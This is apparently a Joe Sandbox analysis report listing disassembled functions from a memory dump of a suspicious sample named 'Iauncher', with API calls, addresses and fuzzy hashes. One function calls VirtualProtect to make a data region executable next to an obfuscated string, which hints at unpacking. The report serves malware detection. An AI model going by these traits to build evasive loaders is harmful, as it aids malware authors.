Instruction Fuzzy Hash: B551A072600616AFEB249FA4AC85EBB3EA9FF45750B198529FD0CE7110E771CD10A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00561E76 Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00561E82
int.LIBCPMT ref: 00561E95

Part of subcall function 00562577: std::_Lockit::_Lockit.LIBCPMT ref: 00562588
Part of subcall function 00562577: std::_Lockit::~_Lockit.LIBCPMT ref: 005625A2

std::_Facet_Register.LIBCPMT ref: 00561EC8
std::_Lockit::~_Lockit.LIBCPMT ref: 00561EDE

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 3550a822abc965a789baebbff62daa528c0e1feb9f1ab96713201f58ec4a026f
Instruction ID: b08145c148209b20beb3ba9e91ed4e9f7ad7c21ee88023089aeb25c7748c419f
Opcode Fuzzy Hash: 3550a822abc965a789baebbff62daa528c0e1feb9f1ab96713201f58ec4a026f
Instruction Fuzzy Hash: 6A01A732900515ABCB15AB94D91A8BD7FBCFF947A0F240155FD01AB390EB71DE41DB84

Uniqueness

Uniqueness Score: -1.00%

Function 005657BD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Fputc.LIBCPMT ref: 00565896

Strings

SV, xrefs: 00565875

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: SV
API String ID: 3078413507-4155469514
Opcode ID: 69c29add2eba79d023c5cacbbff842d8ee6a7904a38d9cb75cf1a9ae746c1dc1
Instruction ID: 705a367a39f8e696eb0b1248b13a4680adb09eaa7f2071aaf29ce5dc3e0bed5f
Opcode Fuzzy Hash: 69c29add2eba79d023c5cacbbff842d8ee6a7904a38d9cb75cf1a9ae746c1dc1
Instruction Fuzzy Hash: 2C41923695161AEBCF15DFA4C9848EDBBB8FF18354F644026E901A7A40FB31ED45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00583416 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00561F47: _strlen.LIBCMT ref: 00561F5F

VirtualProtect.KERNELBASE(005DC030,000004AC,00000040,?,006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@), ref: 00583468
FreeConsole.KERNELBASE ref: 0058346E

Strings

006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@, xrefs: 00583427

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID: 006:107@4:@00007:277@0:@004:@04:@008:@08:@08:@8:@7:2@3:@9:193@4:@
API String ID: 1248733679-32248209
Opcode ID: 3acd037dd55afd264a69eee25bd8bd1e22b7fb3f69173a479e0a34af0da480b0
Instruction ID: 8803ce2b956c4dde3d8f0f85293b6ea025fad8f0b7333dcd1c93298929facdba
Opcode Fuzzy Hash: 3acd037dd55afd264a69eee25bd8bd1e22b7fb3f69173a479e0a34af0da480b0
Instruction Fuzzy Hash: 52018F30A01206DBDB14FBA4EC1EBAE7FA4BB45B00F508526E901FB191EE649A05CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00575E56 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00576AA9,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00575E8A
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00576AA9,?,?,00000000,?,00000000), ref: 00575EA8

Strings

SV, xrefs: 00575E84

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: String
String ID: SV
API String ID: 2568140703-4155469514
Opcode ID: b2e96f986c9228a47999d00649ecf1b448be32410a5a32dcc332f57a99442acf
Instruction ID: 4d82f208f59d770e0486873082411e5121b829707abe26d4da4fb12a6788b660
Opcode Fuzzy Hash: b2e96f986c9228a47999d00649ecf1b448be32410a5a32dcc332f57a99442acf
Instruction Fuzzy Hash: A0F0643240051EBBCF126F90ED09DDE7E6ABF583A1F068154FE1825120DA76DA72BB90

Uniqueness

Uniqueness Score: -1.00%

Function 00570E13 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00570E0D,00000000,0056AAD2,?,?,940D2BD2,0056AAD2,?), ref: 00570E24
TerminateProcess.KERNEL32(00000000,?,00570E0D,00000000,0056AAD2,?,?,940D2BD2,0056AAD2,?), ref: 00570E2B
ExitProcess.KERNEL32 ref: 00570E3D

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e930c62ea5019206eb0511b473c5bb24f42872a43d2fed3a1e011e1c7e0d627b
Instruction ID: 8ae028202ad879ed5b1e62db6f40c56342d08a7732d1e3ba8066568aa8bc0b84
Opcode Fuzzy Hash: e930c62ea5019206eb0511b473c5bb24f42872a43d2fed3a1e011e1c7e0d627b
Instruction Fuzzy Hash: 2FD06771000105EFCF016F60FC0D95E3F69BB94345714A414BE496A1A1DB75999ABB50

Uniqueness

Uniqueness Score: -1.00%

Function 00578126 Relevance: 3.2, APIs: 2, Instructions: 191
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00577870: GetConsoleOutputCP.KERNEL32(940D2BD2,00000000,00000000,00000000), ref: 005778D3

WriteFile.KERNEL32(?,00000000,?,0058D558,00000000,0000000C,00000000,00000000,?,00000000,0058D558,00000010,0056F70D,00000000,00000000,00000000), ref: 0057828F
GetLastError.KERNEL32(?,00000000), ref: 00578299

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 09d4a625c2f4ffa68259426922ad72dbd83c7a0243d7a913f12cab6404615766
Instruction ID: 58a40b03cb3889683997a733a767b92b65895418c9675a2d2bff4eede24a63a0
Opcode Fuzzy Hash: 09d4a625c2f4ffa68259426922ad72dbd83c7a0243d7a913f12cab6404615766
Instruction Fuzzy Hash: 126191B5D44149AEDF118FA8EC4CAFE7FB9BF49304F148499E808A7252D731D905EB60

Uniqueness

Uniqueness Score: -1.00%

Function 0057A0BA Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00579BEA: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 00579C15

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00579F01,?,00000000,?,00000000,?), ref: 0057A11B
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00579F01,?,00000000,?,00000000,?), ref: 0057A15D

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: e02c8a962fdef58256cfd3fe87c88ec17f1597b9f610150ccdfc7811ee4285ec
Instruction ID: 72c391ca6a1166e896c7cfbec6e51b06b31642eafabd0a6eb7b2839f547e5694
Opcode Fuzzy Hash: e02c8a962fdef58256cfd3fe87c88ec17f1597b9f610150ccdfc7811ee4285ec
Instruction Fuzzy Hash: DA514774A002458EEB20CF75E8856AEBFF5FFC1300F14C46ED08A9B252D7759946EB92

Uniqueness

Uniqueness Score: -1.00%

Function 00577D28 Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,00000000,?,00578275,00000000,00000000,00000000,?,0000000C,00000000), ref: 00577DC4
GetLastError.KERNEL32(?,00578275,00000000,00000000,00000000,?,0000000C,00000000,00000000,?,00000000,0058D558,00000010,0056F70D,00000000,00000000), ref: 00577DEA

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: e281234ca4adc7f903be0d184776f5feec9447226be7e2128d3bbc0f5c548025
Instruction ID: 3b125f1dc94667b9a03349a1cc021e8bb8d722c65554d38c1a6d0825a22a939f
Opcode Fuzzy Hash: e281234ca4adc7f903be0d184776f5feec9447226be7e2128d3bbc0f5c548025
Instruction Fuzzy Hash: 7B21A234A002199BCB25CF29EC84AE9BBB9FF4C305B1480A9E90AD7211D630AD46DF60

Uniqueness

Uniqueness Score: -1.00%

Function 005756AA Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 005756F6
GetFileType.KERNELBASE(00000000), ref: 00575708

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 2ee5921308400156a606f52b4a7670dd123f84d7c95d24549cae5a69776b55da
Instruction ID: 89cd0dbb67124cd34e30728e2606b3413bc552ec5bc03b8f6122bdc5b0c3ccb3
Opcode Fuzzy Hash: 2ee5921308400156a606f52b4a7670dd123f84d7c95d24549cae5a69776b55da
Instruction Fuzzy Hash: 3A11E771504F1186CB344A3EAC886267E95F7563B0B34471DD9BAC71F1E2B0C885B641

Uniqueness

Uniqueness Score: -1.00%

Function 00579CBE Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,00579F0D,00579F01,00000000), ref: 00579CF0

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 8c954caa28a69af80de79f57de26dda47d61cc37d7384658e5895a76d9334143
Instruction ID: 19ef95856742848eafab58b782dcc91f06e0f618460c714b3b4e2f507f8f9cbe
Opcode Fuzzy Hash: 8c954caa28a69af80de79f57de26dda47d61cc37d7384658e5895a76d9334143
Instruction Fuzzy Hash: BB5157B55042589ADB318A28EC84BE67FBCFB56304F2485ADE59ED7142D2309D46EF30

Uniqueness

Uniqueness Score: -1.00%

Function 00575A87 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbab0a42871b9ea937295d23351b8a16228e7d71d31c0010a697f62726289bda
Instruction ID: a998edc0cfed4071d67828e03e80ac55391737848ca88787199ff4e9356242c7
Opcode Fuzzy Hash: cbab0a42871b9ea937295d23351b8a16228e7d71d31c0010a697f62726289bda
Instruction Fuzzy Hash: B601F5337006119B9B128E29FC8595B3BA6BBC53243288530FD0DEB194FA70C800E790

Uniqueness

Uniqueness Score: -1.00%

Function 005745C0 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00564449,?,?,00568DF4,?,?,?,?,?,005621CC,00564449,?,?,?,?), ref: 005745F2

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: db3f682a09f0bf732fdf7f43a21ebfcd24be71fef9f30e32c3bf9046a9a42b61
Instruction ID: 428bdc8e2a89e143c35d20dc400db54ec0777545bea17be05bd25ebc3c94e04e
Opcode Fuzzy Hash: db3f682a09f0bf732fdf7f43a21ebfcd24be71fef9f30e32c3bf9046a9a42b61
Instruction Fuzzy Hash: 09E06535101236A7E7212A65BD05F5B3E99BF827B0F15C520BD0D9A191DF20DC00BEE5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0057C951 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0057CC6F,00000002,00000000,?,?,?,0057CC6F,?,00000000), ref: 0057C9EA
GetLocaleInfoW.KERNEL32(?,20001004,0057CC6F,00000002,00000000,?,?,?,0057CC6F,?,00000000), ref: 0057CA13
GetACP.KERNEL32(?,?,0057CC6F,?,00000000), ref: 0057CA28

Strings

ACP, xrefs: 0057C96F
OCP, xrefs: 0057C9A5

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c80178f70466929f71f528bbdf458f152e474148d50c14cdfaad13ce3f504c1a
Instruction ID: 45478caaba0a80d430722199ddf6215c60e1025c950007917e33d186e39a60a4
Opcode Fuzzy Hash: c80178f70466929f71f528bbdf458f152e474148d50c14cdfaad13ce3f504c1a
Instruction Fuzzy Hash: 6521B272600105A6D770CB54E905AA77FA6BBA4B51B56C428EA0EEB200F732ED80F750

Uniqueness

Uniqueness Score: -1.00%

Function 0057CB26 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0057CC32
IsValidCodePage.KERNEL32(00000000), ref: 0057CC7B
IsValidLocale.KERNEL32(?,00000001), ref: 0057CC8A
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0057CCD2
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0057CCF1

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: ded4c110391e929042fdbfb1266477f3a20666795af59582e171cc6205aea00b
Instruction ID: bd4523835d3b5a07b10c0f2802c72d96e5fdefb03b04c6156f1879f96741d5b4
Opcode Fuzzy Hash: ded4c110391e929042fdbfb1266477f3a20666795af59582e171cc6205aea00b
Instruction Fuzzy Hash: A651A271A002069BDF21DFA5EC49ABE7FB8BF54700F14846DA91DEB180E7709E44AB61

Uniqueness

Uniqueness Score: -1.00%

Function 0057C1C2 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005730E0: GetLastError.KERNEL32(?,00000008,00578F07,00000000,0056AC50), ref: 005730E4
Part of subcall function 005730E0: SetLastError.KERNEL32(00000000,00000002,000000FF), ref: 00573186

GetACP.KERNEL32(?,?,?,?,?,?,005717C6,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0057C283
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,005717C6,?,?,?,00000055,?,-00000050,?,?), ref: 0057C2AE
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0057C411

Strings

utf8, xrefs: 0057C380

Memory Dump Source

Source File: 0000000B.00000002.1282245123.0000000000561000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00560000, based on PE: true

Associated: 0000000B.00000002.1282221168.0000000000560000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282309727.0000000000584000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.000000000058E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005C4000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282336889.00000000005D3000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1282753451.00000000005DC000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.1283537777.00000000005DD000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_560000_Iauncher.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 4164da92a112a572d4f4baa9ddf91dd30f7939d8ed86995ca135d24dfdb39a58
Instruction ID: 88d75c3615ef0f2ab5b081c3b020fa71d8a99a3f1552bdc153d4e4659c31158a
